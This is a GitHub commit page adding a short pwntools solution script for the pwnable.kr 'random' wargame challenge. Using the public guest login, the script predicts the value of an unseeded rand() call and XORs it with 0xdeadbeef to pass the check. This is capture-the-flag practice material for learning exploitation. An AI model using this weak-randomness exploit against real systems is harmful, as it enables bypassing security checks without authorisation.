Skip to content

Commit 77067a6

Browse files
add pwnable.kr random + rename input.py -> pwnable-kr-input.py
1 parent c5d0917 commit 77067a6

File tree

2 files changed

+7
-0
lines changed

2 files changed

+7
-0
lines changed

Diff for: input.py renamed to pwnable-kr-input.py

File renamed without changes.

Diff for: pwnable-kr-random.py

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
from pwn import *
2+
s = ssh(host='pwnable.kr', port=2222, user='random', password='guest')
3+
p = s.process('./random')
4+
p.writeline(str(0xdeadbeef ^ 0x6b8b4567).encode('ascii'))
5+
# 0x6b8b4567 is default value generated by rand() without a user provided seed
6+
# the default rand() seed is 1
7+
p.interactive()

0 commit comments

Comments
 (0)